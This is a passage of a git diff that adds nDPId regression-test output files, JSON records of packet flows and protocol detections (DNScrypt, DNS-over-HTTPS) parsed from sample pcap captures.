Cdz9iCTPKnV7Kw8ctrZrqQ4N6l7ZvcAG2rUT+Q9\/LXDXqKjl09ujD68NhiQh61LzaYdfK4i7pycnU4qJoDyh6wqXlEnhJrx33Uml0q43\/LZkKq6+gBtMyFx1G0t8TXOxdVJjjFCI6asgc8Kxe6G3w1FuEYOCYdPJ1BDXSvfQyl+xvLRdx79zlvjoh3CA3lgSqjekZ4r\/nVmPAWeluQHxO36OZiUmB2ai6gs8+TK+H6\/M45c1\/tfkqR+WeZABxv3Wq+MtDzkLR1Ba9KFIEFLcYA\/aPSp26qFfnJhX4KU8kKJXh\/RvHe"} +00659{"flow_id":251,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":608,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739861,"pkt_ts_usec":499384,"pkt_caplen":218,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":218,"pkt_l4_len":184,"pkt":"ZmZmZmZmRERERERECABFAADMBL8AADQRT1YzDz5BCgAAAQG7nuMAuKxVcjZmbnZXajhA4ptwOcn9MI45J+2cfN20Dl9sTMp3rF67X\/jDpIVgb1a+3\/m31lpJBtYvfwV0B9vwzZtjNo+jG7GftQDbJaUY\/oveZ3k2CcZHOjICUKnGXvyF5yEl+85urFpytmNQcYoVHSk5XuOkfP++TbbcrYxYsDH+x2d1Xg60pF+BeHKLrLF0X3ik2Kl1hdwwJCMdJ5w1\/ra7TZUP4kyuPD6WApR9UYb+H+3yIn0="} +00537{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":608,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":2,"flow_first_seen":946739861286,"flow_last_seen":946739861499,"flow_tot_l4_data_len":768,"flow_min_l4_data_len":184,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":384,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":40675,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} diff --git a/test/results/dnscrypt-v2-doh.pcap.out b/test/results/dnscrypt-v2-doh.pcap.out new file mode 100644 index 000000000..0c3a58dee --- /dev/null +++ b/test/results/dnscrypt-v2-doh.pcap.out @@ -0,0 +1,586 @@ +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":946739298533,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":53674,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00800{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739298,"pkt_ts_usec":533748,"pkt_caplen":337,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":337,"pkt_l4_len":303,"pkt":"REREREREZmZmZmZmCABFAAFD4UdAAL0GsQQKAAABi2PeSNGqAbt5f9qX6vvArlAYAfYrngAAFgMBARYBAAESAwPY4R+kmwrmRkwkOvmL20MZvvmmXV\/QYaA6X4C5e+GFvyA2SDuI+F1GOq7qyiEw+aePhhElQVpDVzMYXSdiyok3WQAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACjAAAAEgAQAAANZG9oLTIuc2VieS5pbwAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGgAYCAQEAwgHCAUIBgQBBQEGAQUDBgMCAQID\/wEAAQAAEAAOAAwCaDIIaHR0cC8xLjEAEgAAACsACQgDBAMDAwIDAQAzACYAJAAdACA0hS9OEA\/J5twwMByNtSlpgrCPJW9Ooqwd+S9NxEdaCw=="} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":946739298533,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":53674,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"doh-2.seby.io","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02338{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739298,"pkt_ts_usec":797787,"pkt_caplen":1464,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1464,"pkt_l4_len":1430,"pkt":"ZmZmZmZmRERERERECABFAAWq1TBAACsGSrWLY95ICgAAAQG70arq+8CueX\/bslAQAfmvXQAAFgMDAHoCAAB2AwOWvrm4FPC7V7PYuN+Lshod\/nezEzfqc01CK\/K8f2FrjCA2SDuI+F1GOq7qyiEw+aePhhElQVpDVzMYXSdiyok3WRMBAAAuACsAAgMEADMAJAAdACDl61zVHhMWB0BdL3ddlBFKSw5Lr9HVe6EkVLOcYVLAAxQDAwABARcDAwAksgraFQq8T84jfrRmYc223NGnVGbYG\/xj8xk4v\/EJCHm3s9w1FwMDCVmg97DgSdnn53nb0jGLv9F1+4VVO1DlJvFZ4CsfAqRyJ8a0jMqAaeRjhyCNwiDpU+6mevWKgpxWfYNjWShazkI7oaAh0ocoGs0\/Z2Mwn5ZIkIv+OuDwieAM9qTwhi+fGVM4H+qU8v3e8TtrqoxC+IgZVc8V3I+\/yPEjroPH33YYxxjju5aqvElJCjEI4urJQzXoWsAq6uQKccy5WfzKSDhJNZ8AVPquU8SpWKmo\/\/E2qD+dKLWJFgaub29gXMXjQTVzoJxdvVKG52mcWm6EXETLAVeqYVAn1jxtrmpkg13Vk85sRN2hjK5eeu4ap8rf7Lodf5tfmhv8SVfULmdGCNmmvgZMJkjmNfdKrw+XnrBHNQP2GC7kgKzhx++y9Ur+7CtcaZ0Stuv2mMWKbTn30OOZzAWiYjVeWw1PNj6IPMesZYC3bO1PwS8+BOlQEPumskRErqRklUuVJ1OXsXJn8o9P7B9r5RxumsKPZbrYuGjTJfVUwTIwaAH4g\/GODGK2+B5YB\/Z\/6LysjXxF0obthFSDlDUGBTCdDZdGFQyyl8u0xri2sr4xv5TWFpIjmyYys6SXqhW7QRXi8cM\/fGE\/JM+qZpyddar8bHdCLxGlvvPz4eCxh6lg0sugzb6K+mUo6W7gtEoQaKMIAakeMy2FOKQ3NMe5\/F+3b43gHog099YK8NKs2bvSG\/W7LXyo8PnUinj+AVLnzhrSe+qvDBw9a\/Jp7AkHbVoQwt\/EIF5\/d5w+4KMlJPMSzCUov8rfi\/CCF\/iVjvModtxk+gLz4pUaK3XRZHYtLxfH7FHcLizTZ3sSU4i+tweqvPEyxXE1E7Y+KMLDCV+QkbWkWi9gMec8ZJ3GBnIg+iSrehGCt8i8t7Lu9Wc\/2fGKgQfE9jJe\/fDA2odknuy5GV2960tQvEZAXB0c5GJBhjiPYJgYdgJ2fzUt\/xLgBoWg0zKHa\/soHWqBrLympLp+VepVMyzuzIJ6QgGVTCC1EFSrrSUxkNXDsBrwmyRP\/9FLF9pdzZACXTb6S8myrZazmvEdGdk04PjNhUiHGlUT03OYvmagf8Ya\/4VRzGGdV43OAGkQYeu0ZY\/heh9h7fucuCFB8CyBx4wy7OhYHBnDOYz2gdf\/z49N039rzJarMWXOwbROgeoXzcsBH8Uj6StZMCbM\/ZBGWByfEjHDl5w8E1dbyJx5XuC65RezHZrv05dJlBbVSEsHIMbDl7IWOUdhpeDNskZrQ+GdU5boLCtHmvrbs62KT\/zlJm2mOApHTvifRvmqKBz9tPtGNCG6XGCZWhEY3FFyS9rmcTpceJwTCfQYlzYKZslhMKd4J63ankp0RnGQLgodwM35ISK98+Kq2hNOJCTBOCxPPsHuXjZuhXdIi8QCW9VQZqww\/\/NjZPMOPy4jcZ7Tkixh7\/JmbpMEV7PnrhAXh21z+u5dLFH52pKdwGRat6A94UDcInit5rOcJtblnF8P7F8IlQqF3WFZurZBuXzllHTzbwe54UUGPwrqwyOIUkW6zUYU\/09YfhXdyYwY1MnGRAlrE9sPr4V9Vgn7ZntvhQgmKz\/jiHNHuRGaj\/PJAjEPTmoQib9SfYaA5fyYDQmsautNL\/cJ4oyfD9Jembyctib1BIp9Ramfe6PSsBXI\/0Ka52Or"} +00822{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":946739298533,"flow_last_seen":946739298797,"flow_tot_l4_data_len":1733,"flow_min_l4_data_len":303,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":866,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":53674,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"doh-2.seby.io","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02251{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739298,"pkt_ts_usec":797978,"pkt_caplen":1408,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1408,"pkt_l4_len":1374,"pkt":"ZmZmZmZmRERERERECABFAAVy1TFAACsGSuyLY95ICgAAAQG70arq+8YweX\/bslAYAfkcrQAAThemFBuD34j0ZojpR7nDk08tEILyrSrE7HS0zZ4kmhXJJxPvCajO9mPz0f1Ba7CUeJZuC\/ww3Lrn+zD28CW1o9VT3LiWNj\/tk7IhVjR3oxyzXVyp8GIUKoCq+rFgLmVNv3t4E9NSsp0vzaP0F7j0JBrlPSojRxE2tlZsJ5feSSYzKGVucsWX6pYRquGlpuPfdHODx0L8ifTKNZ7sMGSXufTYU71W7zucIJWTJn92oiP3KQmXtYYb39SlVhRkoPmox0CcWIbUIkPk1mOfiZj7ZHZGdjmSkO+stoE+mAIy1qeh6xhTg7nyjAGvTt0OEbSBbL64py0gHtL8p9MnYDH\/rEu94PzROteC\/nq08LwZZof+0aydUgoyNJpYIzziL6obgZ8r3XFfT2yBZeGRYlK+7j980Fzg4IJlxXjB\/7u4t3CFM2KzwkVTOl0QgQ2WdVMZr63UzYIuBqVeqhjDwph8EAIPfj6GHii36awX1ARUIn+i2we8pqEICyjrrtz5abqrvBqhOgUymt9799jpjN96PN89rSa+qz8R5hSWva8Z0q12NMSUqK4V32q2T+XbFuVZUlGqNPo8Q4LGFZXuYD0rXuNudeUYIvyeE2j5uqdZqZHCJg4amyAZz0RTts0c1\/NYqX2y5hPaOLvInAlZn4kgRx8P3JUIFzzVPNJJ35uuAChT5mattKXxu8qwume7sBZMgcO4xIk9V0GeDf7Q0iqbxG1cZybv7JIhiCiaIbji819I0oDOejGbK2XffVEsRj3+LURpVM8fUmFAk669Ff\/Nr+yt6tH9Ktz6qOevm0rhgviDIUwzLNJNTxk3pvt9wNVus\/LUfcLiMKspToabUtDV2KtFlgjUQBZ6M603sQeMbcyD6v4zye6TReEZisbYDNmcge+IFl+e+6gIZYcwnBnjL+IMuKODuiRDaCLQJS72LiQoTClqyWNhk8p3nZX4LJsLVi6dW6cV7ErhFynQJtxWGrvo9DrmvbJGRV80Ul449jTrc22WvgTBKnaXTTsv2pw69IL3ziatAlwA6VUKivZyuSnP\/qeqQsLIM3h1xsud7x+raSQILbisV46QaEMOKNMhEo4f9EE5vYtzwm\/ngKP6CEyyxa5eOnqoj72FpXRNgDKcpbuNQSddL+rkopq\/y8uRR5TATut5xq9zEjEQLnRu3bhaqmLH7wPAre5tejGNaBElH9ZorCCzrnrfL+5ZFV65djnMn\/burxQW9SIIOlDcRe3ddZxIf\/z8dXGWfc\/YJ2alVKWABNBLcFPeFubCnDOGFnp7WaEezUQCo1huX1d\/AR2t9ZFIxb+\/2YA0Fcu4FFOucBmHB64h34YnG1QktWj0QN6yNlW1E24ubX3xPextdjh4av9ufsqLyV+lQC34GqCFKa3D2btbNVuYlf3F\/nsdPHHCRn+svJvZKssoO39MnIg20E8\/NZSYgAW7+dMxM2JbTCDpQf718V5e42Tcc3D\/MVuwLpSLFUnGgbahF3PvczhUvo5QFk5tF0YRiH+1QJX+P4Bld+SLzREBNKhff3\/yg9uJJKca+U+6nBcDAwCBaMxAcfS4h68NX8O4\/JsJCa+QWF87yNO9r0+szCZ1TeWGW\/KMvQNFzX1G+Y2PEnQ68hI4LpJQIC4VjBdW13rCggF8QR46NY3HL4enM7oteZTlqkQvxVphVmRyDsYFcjY4u2fGUw5LFrsQktQhx2VsQTygsXipX2KtdmPdscHLlgGRFwMDADV5C7WBlZ+ocDTA\/zppOjhaktsCXwO0sG+1hu0Zi0K+GaWwxXTJGdG0p2vdDlGf4dOI0eNxTQ=="} +00454{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739298,"pkt_ts_usec":798962,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"REREREREZmZmZmZmCABFAABG4UpAAL0Gsf4KAAABi2PeSNGqAbt5f9uy6vvLelAYAfUqoQAAFAMDAAEBFwMDABPWqttRMY+Z46PAR95YRNrv8Sy\/"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":946739299058,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":53676,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00797{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":58659,"pkt_caplen":337,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":337,"pkt_l4_len":303,"pkt":"REREREREZmZmZmZmCABFAAFDIvZAAL0Gb1YKAAABi2PeSNGsAbu+7R6jIfk4pVAYAfYrngAAFgMBARYBAAESAwOSQ8JxHhGuu6wLKnGtwDfaCU9fn2zkXyLvCqG6Z1EJrSA97l3xa4NDBUHApuStJw5z26JVCZKgohlNqcovRpE62AAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACjAAAAEgAQAAANZG9oLTIuc2VieS5pbwAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGgAYCAQEAwgHCAUIBgQBBQEGAQUDBgMCAQID\/wEAAQAAEAAOAAwCaDIIaHR0cC8xLjEAEgAAACsACQgDBAMDAwIDAQAzACYAJAAdACBvduxHcveHyzSwUHe1UMoR3WO30Q1YJASO6Gqd5f5rOQ=="} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":946739299058,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":53676,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"doh-2.seby.io","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02326{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":325554,"pkt_caplen":1464,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1464,"pkt_l4_len":1430,"pkt":"ZmZmZmZmRERERERECABFAAWq+oRAACsGJWGLY95ICgAAAQG70awh+Tilvu0fvlAQAflBFAAAFgMDAHoCAAB2AwO4E1L4A\/\/vaa3qFy7zGtkSllYVpFARFReL8E9wQ5edfiA97l3xa4NDBUHApuStJw5z26JVCZKgohlNqcovRpE62BMBAAAuACsAAgMEADMAJAAdACC6hi7aKoaulrg0kHVy9iX3JtIXsjOWFqMY4JtXoR3ZFBQDAwABARcDAwAkVn7ui3VtyEjBPho8csX4cWU91LDHlldd37yMDuMkm1WrNSA\/FwMDCVkNxERPpxFp1hU3MTygH94nI+uO3MFA6Pgc7Cjgsqv9R94L1LzqnlTJ9qM2GdC3DoaCFMZy2rvnd3TUb44js1wH\/ZjR\/tueYjuCchsydXsjOJIItHXpv6rNdoQc5GxilmSN3ZLV0BdssW6zhxxgQaE3FYajxWXTTfgzUzOS+6W++jmvd1q00zg+8Q0qSguzfNUtyikLzjXqF591w71tmw1RwueDWDRqOR8D9ArOOASC\/gfHKocbf3MYoPn\/L3+LeyjDo7Dan2mPuEUKlItjagedNzassvjfnCKDfWzjTYX1Oj074zzZKYUi326SCBVqvZ4BTAJFklyVRE2\/7w5a9Hu3TkucSU4uD6YDgHvYuwr1PUeuJlpLcTtMIe6KqdQO6VhykmmEfKtsuoqKDau0V16KSQWM2aCvsVesKQ3DSQJg5rL5yIwj9vpyWnaHxDEgfEIDmYjy\/Axgsm7vfVWFF3Jrfc1xzCpgVx2Wzxxl\/maZOzNTYwZUTU3hLDZjHHXTyifvb45snBjXrLw3E9kNt6T2lmZ7d2lzBq35OqiFyiqDdqg5nN+wvKg6FFTseFXwn\/Cnava4JqwJeCYBLZwtvjbxpmY\/Z7bzc6mZPg2Sh+dbDSkCl3bi0C7OGN4lTKk6SakWyrfvl60M9dBFHVDrzgKu7xbDvPEvSNcZq2Dx1QXy2oMyLZnD977uZ9nLe2MaP79hLJNgy4v+jriXtA5fuVRTABndd0eLGpCNoQRcyQEasclWVE0X3djEYjD5W2s+8ID+COBoWOoyP\/WAq9bDmdFuLbZL5YcQMg6OEX37+6VcGXh24mzLjiWqRW2SXZBECP5e9Kp+qBc4nsLJy+\/cCFFzWnnOIeDNkPzITjeYYG62LLpDcjihxenHjNkU8aI6W9z7HJRAKXj15JybI7ZavgKdsyBJSz8Rv17E9WgwJgE24FqtNa6LcXPjCIVJ4JA\/FRIvlJbq2\/PV2grzaPllz7EIQXESn4AAbsSK6v\/afg1rifhsSGv2yYjxwtRB5P9D+FT0dFjO2m9zDYEYLvFPNAv2\/uEF0d+ML9zrDfaDdz6z+wzZI7tOXb+ZgoELySqXWnZpXCKfAbAaRdkBWG9n\/7DEkPQfGc3BRuxecF3gZRN5TjRNnS3L\/z3Mjd0kgq5NvuPBzwr++r8PkzDyv4SrhrEho0ZXiTGQlO7AUNavDHJ2E6WcvB6wH6w+nDu+LafkJwVBrA3g2ry2AgWQYQlCtuH3p4tS5epl0vy3sOsnzjbAIulHq4VIitq5pO3s+sczN2QL3hoGMgZmvfNYCCppei2sMRM3JeTXdDamDavAss5ffhc7o9sFzFOhYwBHF3K+RDvF+\/0hY+kvloFXPT7w5qyKb029c\/+Vu3kK8iCqQMpkd\/Y7fPVoDJRSebia6NkOtp0QF10Wqdh2s0768F9ux8l3ns6Ahcvm\/CEcnhylTvqF1H8nFLoIPnLNfkqliriwfEB7qB8aB8psWMvXozj1u+xw79vKaBVDClx5kPg1ndY1UZCkXuVmLOZwvxWWc0tuTJcMVug1lNwCPKGUEoQ6IRWLIe8NCbqmkI6bW\/5Xu20soyB9iTbKgsh2xLBekpYgVl8gT8VGJflOjydyD64I9+T\/dXz5zy\/0oPQP9q2vSa5j"} +00822{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":946739299058,"flow_last_seen":946739299325,"flow_tot_l4_data_len":1733,"flow_min_l4_data_len":303,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":866,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":53676,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"doh-2.seby.io","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02250{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":325747,"pkt_caplen":1406,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1406,"pkt_l4_len":1372,"pkt":"ZmZmZmZmRERERERECABFAAVw+oVAACsGJZqLY95ICgAAAQG70awh+T4nvu0fvlAYAfmmIAAAiW51QuqEfobYElojzNdmal3NmvuNd\/aotOFuZKIcd+01MY62EHH7E56\/oxK0qr9J58d7Jfc491vr3AkBsKJZSE5EN1LMlpXioNrse464nnbj5nYCt1y8iJtaYVHfHT9x8ujbG\/T2N6ZekRm+ONP3O7xw3rubgw7ubQJF\/KHEiRVFPrbIwq5RI7VTRdfrd3b9Fc\/71kitl8ImBckYsh09FSa2nRQrqALNG43BNA+FPS+D4bALfGJGztFq32s2D2cWRj2vno7VjQQWYQsz+9R40cUHWMbbW0anf7aLopYHYwhAUnxfUJyLSGv\/hcuY1JoGSes4gPPm0w\/KvSPUfmH1XOcuJRdoXdElY5F\/m9je9IUq8euoPyf0PXU\/w6wn+q9PJNYNblwNWPVkVSF6bp87Ycrz+bZvhmrk3ipYYu58\/qf3ItMXsHiYNDHVbyhTOrrT84X2uXkA5ajgilxkHZCWJdDIvRFwT++59P5vI4krRFU0SPX1eygQdMslXLsxvfqQATVp3sK76bt8qHa8rMRVLCfPA3UPe8Z9q\/JNBVvEPCwFBWQICqqCApD7kqMSclaEy89K83LVugXlNfNOargw6YlUR36QNrsco2xSkkpbYZSag+guZDt8NaBOAQqx6Dtx5yS9ZeM2TaZ4Tva3cH5WwTw3nwMfyBrZkmKclliFlyL+l3\/Ft\/1cAhtU5U7a4LgYVbdqsQxRVbeUPAwUZ68y2BGyj5Xg8Mtci4mPsgh+bnyNL5K5y9jSltRS79PDJA87B7hqXTRUrELkxjFWaMPAzghsENt\/UjelVjAgSWUxzpqxPV+2hED3HVp9LJOBmZIcSEVN1eWHazkX+mtW2m+0GAsZaxamutLzgJh\/DRJa7Jw23fjV9PCXnj9MWSdJstPENtBI0OVh7PH0+uAGt1zxMdGzUgBU2QlNOO7S4UuYD0Y26DtfRFNsa3yyMMJMA4d1B+99D0rLBp+YTr6CIQlSGW7\/MY0mGzKXnXLKEBMjIoE76aJQADNrOQ1pUsHUbMNYSxpurIgJZbgBG3OALLoptMECW3PsCTpgXkQ2OmVE11D882PmbdA0f4acC7LQATIGoxF7ZIVK6E9Vi5\/LR0AueJFdtzLq+oc1+GpS8l4A7KvQzJjHl8BFVtlJFp5Ft91g8c86AHAIukg5AmfSwO3K4Rq0SXUs8KcP29aiI1bA7\/K0iAEMbAiDcRNwXEEo+uNEfshUZQDIyZoBHdLzMTL\/2s9ouLF90mtZTkbub4ko0oHCp0UBuhgnfDbrA69yTnP91yV8UR8xswBSaiV12vmMHeXGGKIJ6dQbgPNn5OzZbyefQz5\/sH6dHxYbcGGfd+8wSxfEi7DokbKnmTmetH85RkCusy06sJkhFgf9bhlEmk63Cet5cz7Z7ea9PrtiS\/xOPZoAmLR8AcrBNB\/tHpNVlFcTM+gO6pHXXYSwt1o+rdQxZT4lFn7kVxmARBzEGQB8TIogOkRi0YtdMrX\/cAGbQWx0wllwfDL\/JIISbxKwUNTT45zepGk3OVcnv0694KsAM6Pujlm7XvrZ+hcDAwB\/JlZfTL2CfKHweE8ivDA\/8Dj4s9MhpgBrmwa3P4sMMqXQFKgI6jQB7iGhbQGftnSVKI+QCxWleTjngiVWQbRq4xwswRPPuCr\/EteohSIpdjvjIjT4EQlykWjN3TxUSVyvVSA8Rp0nUkHXzRzNgRwt1EKIchjIYekan95L5wPtZxcDAwA1P8zjtyfqh9OaAN1qf+msLEHbyvTYhKC4e6LNeICCaSA3aHIsCQ1pZdcK52vQiTVTlBfFsLw="} +00453{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":326863,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"REREREREZmZmZmZmCABFAABGIvlAAL0GcFAKAAABi2PeSNGsAbu+7R++IflDb1AYAfUqoQAAFAMDAAEBFwMDABNO8IRSNKqnBU+tmi3o0yr7jeRP"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":946739304432,"flow_last_seen":0,"flow_tot_l4_data_len":318,"flow_min_l4_data_len":318,"flow_max_l4_data_len":318,"flow_avg_l4_data_len":318,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.95.218.42","src_port":50614,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00823{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":432784,"pkt_caplen":352,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":352,"pkt_l4_len":318,"pkt":"REREREREZmZmZmZmCABFAAFSUVZAAL0GFwkKAAABuV\/aKsW2AbtqjRCaK20m8FAYAfZViwAAFgMBASUBAAEhAwPqrEqAFBwbSYnmd5FQ4vhXWCXQOM7WSA+ydz5Uq2T7jCDruFBRjE\/ZRtIlov08nzXX8Izc\/f7Ut++FjeF3CgO25wAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACyAAAAIQAfAAAcZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaAAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGgAYCAQEAwgHCAUIBgQBBQEGAQUDBgMCAQID\/wEAAQAAEAAOAAwCaDIIaHR0cC8xLjEAEgAAACsACQgDBAMDAwIDAQAzACYAJAAdACDBZSA439npt9wjB\/Qij4hgUYqoHU3i8\/GsiDYDjRoMEQ=="} +00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":946739304432,"flow_last_seen":0,"flow_tot_l4_data_len":318,"flow_min_l4_data_len":318,"flow_max_l4_data_len":318,"flow_avg_l4_data_len":318,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.95.218.42","src_port":50614,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": 